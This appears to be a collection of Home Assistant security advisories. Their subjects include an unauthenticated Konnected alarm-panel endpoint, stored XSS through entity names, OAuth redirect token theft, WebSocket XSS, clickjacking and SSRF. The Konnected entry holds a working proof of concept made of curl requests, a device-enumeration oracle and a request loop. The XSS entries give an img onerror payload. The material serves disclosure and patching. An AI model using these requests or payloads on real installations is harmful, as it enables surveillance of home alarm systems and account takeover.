Home Assistant is open source home automation software that puts local control and privacy first. Prior to 2026.5.3, the LocationSensorManager BroadcastReceiver is exported with no permission. Any installed app, with zero runtime permissions, can broadcast a forged Google Play Services LocationResult directly to it; the receiver trusts the extra and forwards it to the user's Home Assistant server as the device's real location. This bypasses Android's developer-mode "Mock Location" gate and allows a local malicious app to drive zone-based automations (unlock door / disarm alarm / open garage) by faking the user's GPS position. This vulnerability is fixed in 2026.5.3.

Summary

The Konnected integration registers an HTTP endpoint, KonnectedView (homeassistant/components/konnected/init.py), that is marked as not requiring authentication (requiresauth = False). A comment next to that line says auth is instead handled "via the access token from configuration."

That promise is only half true:

- Write requests (POST and PUT) are handled by updatesensor(), which does check the request's Authorization: Bearer <token> header against the integration's stored access tokens (using hmac.comparedigest). - Read requests (GET) are handled by a separate get() method that has no authentication check at all.

By sending GET requests to /api/konnected/device/{deviceid}?zone=N, any unauthenticated client on the LAN can:

1. Enumerate configured Konnected device IDs — the endpoint returns a clean 404-vs-200 difference that acts as an oracle for which devices exist. 2. Read switch output states — the on/off state of every switch output (siren, strobe, and relay outputs of the alarm panel). 3. Read the panel's zone topology — how the alarm panel's zones are configured. 4. Trigger panel connections — each unauthenticated GET forces one outbound panel.asyncconnect() call to the Konnected hardware on the LAN.

The same URL that correctly rejects unauthenticated POST and PUT requests silently serves unauthenticated GET requests, leaking alarm-panel state and device topology to anyone who can reach Home Assistant's HTTP port (8123 on the LAN by default).

Details

This is the threat-model boundary "unauth to auth" the upstream security policy treats as fileable. The same boundary produced CVE-2026-34205 (Unauthenticated app endpoints exposed to local network via host network mode, CVSS 9.7 CRITICAL, March 2026) and CVE-2023-50715 (User accounts disclosed to unauthenticated actors on the LAN, CVSS 4.2 MODERATE, December 2023). The Konnected gap is structurally identical: a HomeAssistantView with requiresauth = False that returns information about configured devices to anyone who can reach the HTTP port.

Confirmed end-to-end against ghcr.io/home-assistant/home-assistant:2026.5.2. The Proof of Concept section below has seven captures. Step 1 cites the three load-bearing source ranges (view registration, the auth check that only POST/PUT use, the GET handler that omits it). Step 2 is the control: POST and PUT on the same URL return 401 unauthorized without a Bearer token, proving the integration does have an auth check, just only on the write methods. Step 3 is the bug: GET on the same URL with no Authorization header returns 200 {"zone":"5","state":1} for the siren-output zone, equivalent payload for the strobe and relay-output zones. Step 4 exercises the enumeration oracle: unknown deviceid returns a 404 with a distinct message from a known deviceid with an unknown zone, which a brute-forcer uses to map the device-ID and zone space. Step 5 captures the connection-amplification side effect by firing 10 unauthenticated GETs and observing 10 panel.asyncconnect() invocations on the panel side. Step 6 shows that a deliberately wrong Authorization header produces the same response as no header at all, confirming the auth header is not consulted on GET. Step 7 captures the HA startup log line that registers KonnectedView.

Threat model

Home Assistant's HTTP server binds to the LAN at port 8123 by default. A Konnected alarm panel is a wired smart-home hardware product whose primary use case is alarm and security: zones 1-6 typically read door/window/glass-break sensors, switches 5-8 drive siren, strobe, and relay outputs that control the alarm itself or external systems such as garage-door openers, entry chimes, or armed-disable interlocks. The state an attacker reads through this bug is precisely the live status of those outputs and inputs.

The attacker model upstream policy explicitly treats as in-scope is the LAN-adjacent unauthenticated client: a guest who joined the wifi, a neighbor on shared coffee-shop wifi, a malicious device that reached the LAN via a separately compromised IoT product, an attacker who landed via a flat office network, or an attacker who pivoted from a VPN endpoint. None of these positions grant an access token. All of them grant the network reachability the bug requires.

The same endpoint is the receiver for legitimate push updates from the Konnected hardware, which is why requiresauth = False exists in the first place. The intent was to enforce a shared access token on the body. That intent is present in updatesensor() and absent in get().

Impact

- Alarm-system reconnaissance enabling physical intrusion. A 200 {"zone":"5","state":1} response on the siren zone tells an attacker the siren is firing right now, which means a burglary is in progress and the operator may be away or distracted. A state:0 on the same zone says the panel is quiet. The same applies to strobes, armed-disable relays, and any switch the operator wired through Konnected. This is the intelligence a physical attacker explicitly seeks before entering a property. - Topology disclosure. Probing zones 1 through 12 across a known deviceid maps the alarm panel: which zones are sensors, which are switches, which switches are configured for which output. Combined with manufacturer documentation, the topology tells an attacker which physical control points to bypass. - Device ID brute force. The 404 "Device <id> not configured" oracle on unknown IDs versus 404 "Switch on zone or pin <n> not configured" on known IDs with unknown zones, versus 200 with state on full hits, is a clean four-state oracle. Konnected hardware derives deviceid from its NIC MAC address; production hardware ships with a small set of manufacturer OUI prefixes. The brute force space is on the order of 2^24, trivially scannable from any LAN host with no rate limit. - Outbound connection amplification. Line 397 of init.py fires hass.asynccreatetask(panel.asyncconnect()) on every successful GET. An unauth attacker drives N outbound connect attempts toward the (typically LAN-private) Konnected hardware with N unauth GETs, no rate limit, no auth log. A 10-rps sustained scan produces a constant connect storm against the panel hardware that, depending on Konnected firmware, may interfere with legitimate push delivery or cause spurious connect/disconnect cycles visible in the operator's notification stream. - No auth trail. The GET handler logs nothing at INFO level. An attacker can probe this endpoint at arbitrary depth and leave no record in home-assistant.log unless DEBUG logging is enabled for the integration.

Affected code

homeassistant/components/konnected/init.py:296-301, the view registration. The comment on line 301 is load-bearing for the bug: it says auth happens via the configured access token, but that promise is only kept on the POST/PUT path.

python class KonnectedView(HomeAssistantView): """View creates an endpoint to receive push updates from the device."""

url = UPDATEENDPOINT # /api/konnected/device/{deviceid:[a-zA-Z0-9]+} name = "api:konnected" requiresauth = False # Uses access token from configuration

homeassistant/components/konnected/init.py:313-335, the auth check that lives inside updatesensor(). POST and PUT call this; GET does not.

python async def updatesensor(self, request: Request, deviceid) -> Response: """Process a put or post.""" hass = request.app[KEYHASS] data = hass.data[DOMAIN]

auth = request.headers.get(AUTHORIZATION) tokens = [] if hass.data[DOMAIN].get(CONFACCESSTOKEN): tokens.extend([hass.data[DOMAIN][CONFACCESSTOKEN]]) tokens.extend( [ entry.data[CONFACCESSTOKEN] for entry in hass.configentries.asyncentries(DOMAIN) if entry.data.get(CONFACCESSTOKEN) ] ) if auth is None or not next( (True for token in tokens if hmac.comparedigest(f"Bearer {token}", auth)), False, ): return self.jsonmessage( "unauthorized", statuscode=HTTPStatus.UNAUTHORIZED )

homeassistant/components/konnected/init.py:385-438, the GET handler with no authentication. Note line 397 firing panel.asyncconnect() before any reachable auth check and before any rate-limit logic.

python async def get(self, request: Request, deviceid) -> Response: """Return the current binary state of a switch.""" hass = request.app[KEYHASS] data = hass.data[DOMAIN]

if not (device := data[CONFDEVICES].get(deviceid)): return self.jsonmessage( f"Device {deviceid} not configured", statuscode=HTTPStatus.NOTFOUND )

if (panel := device.get("panel")) is not None: # connect if we haven't already hass.asynccreatetask(panel.asyncconnect())

# Our data model is based on zone ids but we convert from/to pin ids # based on whether they are specified in the request try: zonenum = str( request.query.get(CONFZONE) or PINTOZONE[request.query[CONFPIN]] ) zone = next( switch for switch in device[CONFSWITCHES] if switch[CONFZONE] == zonenum )

except StopIteration: zone = None except KeyError: zone = None zonenum = None

if not zone: target = request.query.get( CONFZONE, request.query.get(CONFPIN, "unknown") ) return self.jsonmessage( f"Switch on zone or pin {target} not configured", statuscode=HTTPStatus.NOTFOUND, )

resp = {} if request.query.get(CONFZONE): resp[CONFZONE] = zonenum elif zonenum: resp[CONFPIN] = ZONETOPIN[zonenum]

# Make sure entity is setup if zoneentityid := zone.get(ATTRENTITYID): resp["state"] = self.binaryvalue( hass.states.get(zoneentityid).state, zone[CONFACTIVATION], ) return self.json(resp)

The four-state response oracle that powers the brute force:

| Probe | Response | Status | |---|---|---| | Unknown deviceid | {"message":"Device <id> not configured"} | 404 | | Known deviceid, no zone or pin parameter | {"message":"Switch on zone or pin unknown not configured"} | 404 | | Known deviceid, unknown zone | {"message":"Switch on zone or pin <n> not configured"} | 404 | | Known deviceid, known zone | {"zone":"<n>","state":0\|1} | 200 |

homeassistant/components/konnected/const.py:45, the URL pattern:

python ENDPOINTROOT = "/api/konnected" UPDATEENDPOINT = ENDPOINTROOT + r"/device/{deviceid:[a-zA-Z0-9]+}"

Proof of concept

Reproduction environment is a single Docker container of Home Assistant Core 2026.5.2 with a small customcomponents/konnectedpoc/ shim that primes hass.data[konnected] with a representative alarm-panel layout and registers the same KonnectedView class through hass.http.registerview. The shim does not change the bug surface; it is the same class the upstream integration registers at line 248. All seven evidence captures below come from one live run against the container.

Environment

host: Darwin 25.2.0 arm64 docker: Docker version 29.4.3, build 055a478ea9 ha image: ghcr.io/home-assistant/home-assistant:2026.5.2

konnected source SHA-256 (the file containing the bug): 33e1e56b8fe0c28aa2aee060e214a501c813655297b33272e83c2f2d51adc3b6 /usr/src/homeassistant/homeassistant/components/konnected/init.py

konnectedpoc shim startup log: 2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnectedpoc 2026-05-18 15:23:50.850 INFO (MainThread) [customcomponents.konnectedpoc] konnectedpoc: registered KonnectedView and primed device aabbccdd1122 2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnectedpoc took 0.00 seconds

Step 1: cite the three load-bearing source ranges inside the running container

$ docker exec ha-konnected-poc sh -c ' pkg=$(python -c "import homeassistant.components.konnected as m; import os; print(os.path.dirname(m.file))") sed -n "296,305p" "$pkg/init.py" sed -n "313,336p" "$pkg/init.py" sed -n "385,438p" "$pkg/init.py" '

--- view registration, requiresauth = False (line 301) --- class KonnectedView(HomeAssistantView): """View creates an endpoint to receive push updates from the device."""

url = UPDATEENDPOINT name = "api:konnected" requiresauth = False # Uses access token from configuration

--- updatesensor() enforces Bearer-token auth via hmac.comparedigest --- async def updatesensor(self, request: Request, deviceid) -> Response: """Process a put or post.""" hass = request.app[KEYHASS] data = hass.data[DOMAIN]

auth = request.headers.get(AUTHORIZATION) tokens = [] if hass.data[DOMAIN].get(CONFACCESSTOKEN): tokens.extend([hass.data[DOMAIN][CONFACCESSTOKEN]]) tokens.extend( [ entry.data[CONFACCESSTOKEN] for entry in hass.configentries.asyncentries(DOMAIN) if entry.data.get(CONFACCESSTOKEN) ] ) if auth is None or not next( (True for token in tokens if hmac.comparedigest(f"Bearer {token}", auth)), False, ): return self.jsonmessage( "unauthorized", statuscode=HTTPStatus.UNAUTHORIZED )

--- get() handler, no auth check anywhere in the body --- async def get(self, request: Request, deviceid) -> Response: """Return the current binary state of a switch.""" hass = request.app[KEYHASS] data = hass.data[DOMAIN]

if not (device := data[CONFDEVICES].get(deviceid)): return self.jsonmessage( f"Device {deviceid} not configured", statuscode=HTTPStatus.NOTFOUND )

if (panel := device.get("panel")) is not None: # connect if we haven't already hass.asynccreatetask(panel.asyncconnect()) ... return self.json(resp)

Step 2: control. POST and PUT on the same URL return 401 without a Bearer token

The integration does enforce a Bearer-token check; the policy is just only applied to the write methods.

$ curl -sS -i -X POST -H "Content-Type: application/json" \ -d '{"zone":"5","state":"1"}' \ http://127.0.0.1:8123/api/konnected/device/aabbccdd1122

HTTP/1.1 401 Unauthorized Content-Type: application/json Content-Length: 26

{"message":"unauthorized"}

$ curl -sS -i -X PUT -H "Content-Type: application/json" \ -d '{"zone":"5","state":"1"}' \ http://127.0.0.1:8123/api/konnected/device/aabbccdd1122

HTTP/1.1 401 Unauthorized Content-Type: application/json Content-Length: 26

{"message":"unauthorized"}

Step 3: the bug. GET returns alarm-panel switch state with no Authorization header

Three zones queried unauthenticated. Each returns the live binary state of a switch output on the configured Konnected alarm panel.

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"

HTTP/1.1 200 OK Content-Type: application/json Content-Length: 22

{"zone":"5","state":1}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=6"

HTTP/1.1 200 OK Content-Length: 22

{"zone":"6","state":1}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=7"

HTTP/1.1 200 OK Content-Length: 22

{"zone":"7","state":1}

Zone 5 is the siren output of the panel in this configuration. Zone 6 is the strobe. Zone 7 is the relay output wired to the garage arm-disable circuit. The unauthenticated attacker learns each output is currently active.

Step 4: enumeration oracle. Three distinct response shapes power the brute force

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/ffffffffffff?zone=5"

HTTP/1.1 404 Not Found Content-Length: 48

{"message":"Device ffffffffffff not configured"}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=99"

HTTP/1.1 404 Not Found Content-Length: 53

{"message":"Switch on zone or pin 99 not configured"}

$ curl -sS -i "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5"

HTTP/1.1 200 OK Content-Length: 22

{"zone":"5","state":1}

An attacker sweeping the deviceid space sees the Device <id> not configured message until a real device matches, at which point the Switch on zone or pin <n> not configured message starts appearing. Then a 12-iteration zone sweep maps the panel's full output topology.

Step 5: connection amplification. N unauth GETs drive N outbound panel.asyncconnect() calls

10 unauthenticated GET requests at line rate. The panel.asyncconnect() invocations logged by the panel-side stub confirm line 397 of init.py fires unconditionally on every successful GET, before any reachable rate-limit logic and before any reachable auth check.

$ for i in $(seq 1 10); do curl -sS -o /dev/null -w "GET #%{httpcode}\n" \ "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5" done

GET #200 GET #200 GET #200 GET #200 GET #200 GET #200 GET #200 GET #200 GET #200 GET #200

$ docker logs ha-konnected-poc 2>&1 | grep "asyncconnect() invoked"

2026-05-18 15:23:55.893 WARNING [customcomponents.konnectedpoc] panel.asyncconnect() invoked (attempt #1). In production this is an outbound HTTPS call to the configured Konnected hardware. 2026-05-18 15:23:55.900 WARNING [customcomponents.konnectedpoc] panel.asyncconnect() invoked (attempt #2). ... 2026-05-18 15:23:55.907 WARNING [customcomponents.konnectedpoc] panel.asyncconnect() invoked (attempt #3). ... 2026-05-18 15:23:55.921 WARNING [customcomponents.konnectedpoc] panel.asyncconnect() invoked (attempt #4). ... 2026-05-18 15:23:55.928 WARNING [customcomponents.konnectedpoc] panel.asyncconnect() invoked (attempt #5). ... 2026-05-18 15:23:55.937 WARNING [customcomponents.konnectedpoc] panel.asyncconnect() invoked (attempt #6). ... 2026-05-18 15:23:55.944 WARNING [customcomponents.konnectedpoc] panel.asyncconnect() invoked (attempt #7). ... 2026-05-18 15:23:55.951 WARNING [customcomponents.konnectedpoc] panel.asyncconnect() invoked (attempt #8). ... 2026-05-18 15:23:55.957 WARNING [customcomponents.konnectedpoc] panel.asyncconnect() invoked (attempt #9). ... 2026-05-18 15:23:55.964 WARNING [customcomponents.konnectedpoc] panel.asyncconnect() invoked (attempt #10). ...

A sustained scan trivially fills the operator's panel side with retry storms. In production the call is an outbound HTTPS connection to the Konnected hardware on the LAN.

Step 6: the Authorization header is ignored on GET

Identical responses with no header, a deliberately wrong header, and no header again. This rules out any caching artifact and confirms get() never reads the auth state.

$ curl -sS "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5" {"zone":"5","state":1}

$ curl -sS -H "Authorization: Bearer this-token-is-completely-wrong" \ "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5" {"zone":"5","state":1}

$ curl -sS "http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5" {"zone":"5","state":1}

The wrong-Authorization case is the load-bearing one. If the GET handler ever consulted the header, it would either accept it (no, because the token is wrong) or reject it (no, because the response is 200 with state). The handler never reads request.headers["Authorization"].

Step 7: startup log confirms the view is registered and the integration is loaded

2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setting up konnected 2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setup of domain konnected took 0.00 seconds 2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnectedpoc 2026-05-18 15:23:50.850 INFO (MainThread) [customcomponents.konnectedpoc] konnectedpoc: registered KonnectedView and primed device aabbccdd1122 2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnectedpoc took 0.00 seconds

The konnected integration shipped in core 2026.5.2 is loaded normally. The konnectedpoc shim runs after it, registering the same KonnectedView class through hass.http.registerview and seeding hass.data[konnected][devices] with a representative alarm-panel configuration. The bug surface is the same KonnectedView class the upstream integration registers at init.py:248 on every production install.

Workaround

Migrate to the EspHome integration, as suggested in the existing repair issue for the Konnected integration.

Fix

The Konnected integration was removed in Home Assistant Core 2026.6.0. It had been deprecated for some time.

Summary The "remaining charge time"-sensor for mobile phones (imported/included from Android Auto it appears) is vulnerable to the same issue as CVE-2025-62172. <img width="431" height="334" alt="image" src="https://github.com/user-attachments/assets/84e0dfad-b986-4e84-ad0e-674c5da88582" /> This also indicates that any sensor showing their name in the history-graph, is likely to be vulnerable to this issue.

Details

Another entity was found which displays the same behavior as in this issue: CVE-2025-62172

The History-graph card will sometimes display the name of the entity it is displaying, when the graph is shown as a line with values on the x and y axis. This appears to be vulnerable to Cross-Site scripting (XSS) as it does not have any output escaping or sanitization.

The PoC in this instance only shows HTML-injection in the form of the <s> -tag being rendered as strike through, but the vulnerability also allows for injecting arbitrary tags which execute JavaScript, like the example given in the PoC description below.

PoC 1. Register a new sensor (or device) or change the name of an existing one, which provides a location 2. Change the name to something malicious, for example test <img src=x onerror=alert(document.domain) /> For a new entity, it should work when setting the name. For old entities, go here: <img width="1300" height="411" alt="image" src="https://github.com/user-attachments/assets/7dbd9afa-2f4b-4d03-9384-d57c53eaff5c" /> <img width="1383" height="885" alt="image" src="https://github.com/user-attachments/assets/c4cfba2e-e2d8-4817-92fe-f17ba7877e27" /> <img width="387" height="436" alt="image" src="https://github.com/user-attachments/assets/c40e986d-20ca-416e-bcdb-ca1d3afa77a4" /> <br> <img width="392" height="515" alt="image" src="https://github.com/user-attachments/assets/623fcf8c-eef1-4b17-853d-0ff5440aecaa" />

PS: the example pictures show changing the name of the device-tracker entity, which is wrong. Just change the name of the remaining charge time-sensor in order to validate this finding

3. Add a history graph card with the malicious sensor <img width="696" height="474" alt="image" src="https://github.com/user-attachments/assets/3cda78e6-3db5-4075-8924-ab9fc5759082" />

5. Hover the graph for payload execution <img width="343" height="196" alt="image" src="https://github.com/user-attachments/assets/99e56169-b06a-4c60-9343-510e5d74af12" />

Impact

The impact of this vulnerability is that a user can target other users of the system and perform account takeover through client side exploitation of XSS.

In the context of this system, I believe the vulnerability to be less impactful than the CVSS metric describes. It is not displayed anywhere by default, it is not natural to display this history graph, and it also has no potential for being imported through seemingly innocent integrations. It also appears to rely on having used/using Android Auto. Other devices which has the same sensor can trigger the same vulnerability, and I expect there to exists cloud-based devices that would enable a threat actor to deliver the payload remotely.

Credit: Robin Lunde - https://robinlunde.com

Summary An authenticated party can add a malicious name to their device entity, allowing for Cross-Site Scripting attacks against anyone who can see a dashboard with a Map-card which includes that entity. It requires that the victim hovers over an information point (The lines or the dots representing that device's movement, as shown in the screenshot below, with the example showing a html-injection using <s> to strikethrough the text) <img width="348" height="355" alt="image" src="https://github.com/user-attachments/assets/1af3ef33-3a72-4816-8ade-e6405aace176" />

This allows an authenticated user to execute JavaScript in the context of any other users accessing a dashboard.

Details

The vulnerability exists in the map-card by adding a malicious entity and having the property hourstoshow set. See example below, with the malicious entity being Pixel 9 <s> Fold Robin {{77}}: Map card with malicious device entity: <img width="338" height="332" alt="image" src="https://github.com/user-attachments/assets/15229cc3-1b69-438c-9ee5-cbfa9483aec9" />

YAML-view of same card: <img width="338" height="198" alt="image" src="https://github.com/user-attachments/assets/cd579266-75c3-4cdf-9d08-1544a6887feb" />

This issue largely resembles the issue documented in: CVE-2025-62172, but with an entity which can be displayed in a Map, instead of in an energy-dashboard.

PoC 1. Register a new sensor (or device) or change the name of an existing one, which provides a location 2. Change the name to something malicious, for example test <img src=x onerror=alert(document.domain) /> For a new entity, it should work when setting the name. For old entities, go here: <img width="1300" height="411" alt="image" src="https://github.com/user-attachments/assets/d240549e-f26c-4617-89d7-5480451ae5a3" /> <img width="1383" height="885" alt="image" src="https://github.com/user-attachments/assets/94db6186-ad54-476c-92a3-9f6870b0c862" /> <img width="387" height="436" alt="image" src="https://github.com/user-attachments/assets/f4c4b9f6-b1e7-4b50-9012-3be31c617be4" /> <br> <img width="392" height="515" alt="image" src="https://github.com/user-attachments/assets/a0f24d2f-cc18-4ef7-9071-40376dbb38c1" />

3. Add the entity to a map card, which has the "hours to show"-attribute set, to display movement history <img width="296" height="383" alt="image" src="https://github.com/user-attachments/assets/b2db55b6-3d4b-4ab0-91fe-fc26813ad5ff" /> <img width="692" height="410" alt="image" src="https://github.com/user-attachments/assets/aec15e07-12c0-4abf-ba73-979736131c7c" />

<img width="694" height="302" alt="image" src="https://github.com/user-attachments/assets/e4bb7cac-fe85-41eb-963c-1743e78d937c" />

(The left arrow showing the custom setting, and the right arrow showing a data point which needs to be hovered)

4. The payload executes when hovering a data-point (here shown with an "alert(document.domain"-payload) <img width="504" height="118" alt="image" src="https://github.com/user-attachments/assets/9f24e1fe-949f-4fa5-9e4f-781828a1343b" />

Impact The impact of this vulnerability is that a user can target other users of the system and perform account takeover through client side exploitation of XSS.

In the context of this system, I believe the vulnerability to be less impactful than the CVSS metric describes, as it requires a specific setup (map-card with attribute hourstoshow set, as this brings up the trail). It is interesting to note that any user who sets this attribute, will be highly likely to trigger the vulnerability through normal use. It also has no potential for being imported through seemingly innocent integrations and can only be set explicitly by another invited user, a device name, a cloud service or through social engineering. Other devices which has the same sensor can trigger the same vulnerability, and I expect there to exists cloud-based devices that would enable a threat actor to deliver the payload remotely.

Suggested criticality: Medium

Credit: Robin Lunde - https://robinlunde.com

Home Assistant Core before v2025.8.0 is vulnerable to Directory Traversal. The Downloader integration does not fully validate file paths during concatenation, leaving a path traversal vulnerability.

Summary

The login page discloses all active user accounts to any unauthenticated browsing request originating on the Local Area Network.

Details

Starting the Home Assistant 2023.12 release, the login page returns all currently active user accounts to browsing requests from the Local Area Network. Tests showed that this occurs when:

- The request is not authenticated and - The request originated locally, meaning on the Home Assistant host local subnet or any other private subnet (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fd00::/8, ::ffff:10.0.0.0/104, ::ffff:172.16.0.0/108, ::ffff:192.168.0.0/112)

The rationale behind this is to make the login more user-friendly (see release blog post) and an experience better aligned with other applications that have multiple user-profiles.

However, as a result, all accounts are displayed regardless of them having logged in or not and for any device that navigates to the server. This disclosure is mitigated by the fact that it only occurs for requests originating from a LAN address. But note that this applies to the local subnet where Home Assistant resides and to any private subnet that can reach it.

PoC

1. Place a Home Assistant instance on a private subnet, i.e., 192.168.1.0/24. 2. Create a few users, let's say, three. 3. From any (or another) private subnet on the LAN, like 192.168.2.0/24, open an incognito browser window (to ensure that the browser has no cookies from Home Assistant and therefore is demonstrably unauthenticated) and navigate to the Home Assistant URL. 4. The login page will display all three users, including their profile photo.

Impact

The following CVSS string could be shaped to describe the overall impact of this issue: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

As seen, the Exploitability metrics are high, and the Impact metrics are low. This is fitting because the problem does not constitute a critical one, but at the same time, it is trivial to exploit. Still, since the mitigation can be so easily implemented in code to eliminate a typical case of information disclosure, it would certainly be worth pursuing.

Part of the Cure53 security audit of Home Assistant.

The audit team’s analyses confirmed that the redirecturi and clientid are alterable when logging in. Consequently, the code parameter utilized to fetch the accesstoken post-authentication will be sent to the URL specified in the aforementioned parameters.

Since an arbitrary URL is permitted and homeassistant.local represents the preferred, default domain likely used and trusted by many users, an attacker could leverage this weakness to manipulate a user and retrieve account access. Notably, this attack strategy is plausible if the victim has exposed their Home Assistant to the Internet, since after acquiring the victim’s accesstoken, the adversary would need to utilize it directly towards the instance to achieve any pertinent malicious actions.

To achieve this compromise attempt, the attacker must send a link with a redirecturi that they control to the victim’s own Home Assistant instance. In the eventuality the victim authenticates via the said link, the attacker would obtain code sent to the specified URL in redirecturi, which can then be leveraged to fetch an accesstoken.

An attacker could increase the efficacy of this strategy by registering a nearly identical domain to homeassistant.local, which at first glance may appear legitimate and thereby obfuscate any malicious intentions.

Nonetheless, owing to the requirements for victim interaction and Home Assistant instance exposure to the Internet, this severity rating was consequently downgraded to Low.

Home assistant is an open source home automation. The assessment verified that webhooks available in the webhook component are triggerable via the .ui.nabu.casa URL without authentication, even when the webhook is marked as Only accessible from the local network. This issue is facilitated by the SniTun proxy, which sets the source address to 127.0.0.1 on all requests sent to the public URL and forwarded to the local Home Assistant. This issue has been addressed in version 2023.9.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Home assistant is an open source home automation. The Home Assistant login page allows users to use their local Home Assistant credentials and log in to another website that specifies the redirecturi and clientid parameters. Although the redirecturi validation typically ensures that it matches the clientid and the scheme represents either http or https, Home Assistant will fetch the clientid and check for <link rel="redirecturi" href="..."> HTML tags on the page. These URLs are not subjected to the same scheme validation and thus allow for arbitrary JavaScript execution on the Home Assistant administration page via usage of javascript: scheme URIs. This Cross-site Scripting (XSS) vulnerability can be executed on the Home Assistant frontend domain, which may be used for a full takeover of the Home Assistant account and installation. This issue has been addressed in version 2023.9.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Home assistant is an open source home automation. Whilst auditing the frontend code to identify hidden parameters, Cure53 detected authcallback=1, which is leveraged by the WebSocket authentication logic in tandem with the state parameter. The state parameter contains the hassUrl, which is subsequently utilized to establish a WebSocket connection. This behavior permits an attacker to create a malicious Home Assistant link with a modified state parameter that forces the frontend to connect to an alternative WebSocket backend. Henceforth, the attacker can spoof any WebSocket responses and trigger cross site scripting (XSS). Since the XSS is executed on the actual Home Assistant frontend domain, it can connect to the real Home Assistant backend, which essentially represents a comprehensive takeover scenario. Permitting the site to be iframed by other origins, as discussed in GHSA-935v-rmg9-44mw, renders this exploit substantially covert since a malicious website can obfuscate the compromise strategy in the background. However, even without this, the attacker can still send the authcallback link directly to the victim user. To mitigate this issue, Cure53 advises modifying the WebSocket code’s authentication flow. An optimal implementation in this regard would not trust the hassUrl passed in by a GET parameter. Cure53 must stipulate the significant time required of the Cure53 consultants to identify an XSS vector, despite holding full control over the WebSocket responses. In many areas, data from the WebSocket was properly sanitized, which hinders post-exploitation. The audit team eventually detected the jsurl for custom panels, though generally, the frontend exhibited reasonable security hardening. This issue has been addressed in Home Assistant Core version 2023.8.0 and in the npm package home-assistant-js-websocket in version 8.2.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Home assistant is an open source home automation. Home Assistant server does not set any HTTP security headers, including the X-Frame-Options header, which specifies whether the web page is allowed to be framed. The omission of this and correlating headers facilitates covert clickjacking attacks and alternative exploit opportunities, such as the vector described in this security advisory. This fault incurs major risk, considering the ability to trick users into installing an external and malicious add-on with minimal user interaction, which would enable Remote Code Execution (RCE) within the Home Assistant application. This issue has been addressed in version 2023.9.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Home assistant is an open source home automation. In affected versions the hassio.addonstdin is vulnerable to a partial Server-Side Request Forgery where an attacker capable of calling this service (e.g.: through GHSA-h2jp-7grc-9xpp) may be able to invoke any Supervisor REST API endpoints with a POST request. An attacker able to exploit will be able to control the data dictionary, including its addon and input key/values. This issue has been addressed in version 2023.9.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2023-162.

Home assistant is an open source home automation. The Home Assistant Companion for Android app up to version 2023.8.2 is vulnerable to arbitrary URL loading in a WebView. This enables all sorts of attacks, including arbitrary JavaScript execution, limited native code execution, and credential theft. This issue has been patched in version 2023.9.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2023-142.

The Home Assistant Companion for iOS and macOS app up to version 2023.4 are vulnerable to Client-Side Request Forgery. Attackers may send malicious links/QRs to victims that, when visited, will make the victim to call arbitrary services in their Home Assistant installation. Combined with this security advisory, may result in full compromise and remote code execution (RCE). Version 2023.7 addresses this issue and all users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2023-161.

homeassistant is an open source home automation tool. A remotely exploitable vulnerability bypassing authentication for accessing the Supervisor API through Home Assistant has been discovered. This impacts all Home Assistant installation types that use the Supervisor 2023.01.1 or older. Installation types, like Home Assistant Container (for example Docker), or Home Assistant Core manually in a Python environment, are not affected. The issue has been mitigated and closed in Supervisor version 2023.03.1, which has been rolled out to all affected installations via the auto-update feature of the Supervisor. This rollout has been completed at the time of publication of this advisory. Home Assistant Core 2023.3.0 included mitigation for this vulnerability. Upgrading to at least that version is thus advised. In case one is not able to upgrade the Home Assistant Supervisor or the Home Assistant Core application at this time, it is advised to not expose your Home Assistant instance to the internet.

An information leak in Nabu Casa Home Assistant Operating System and Home Assistant Supervised 2022.03 allows a DNS operator to gain knowledge about internal network resources via the hardcoded DNS resolver configuration.

DISPUTED Home Assistant before 2021.1.3 does not have a protection layer that can help to prevent directory-traversal attacks against custom integrations. NOTE: the vendor's perspective is that the vulnerability itself is in custom integrations written by third parties, not in Home Assistant; however, Home Assistant does have a security update that is worthwhile in addressing this situation.

Home Assistant before 0.67.0 was vulnerable to an information disclosure that allowed an unauthenticated attacker to read the application's error log via components/api.py.

Withdrawn Advisory This advisory has been withdrawn because we cannot confirm home-assistant-frontend is or was ever published to npm.

Original Description In Home Assistant before 0.57, it is possible to inject JavaScript code into a persistent notification via crafted Markdown text, aka XSS.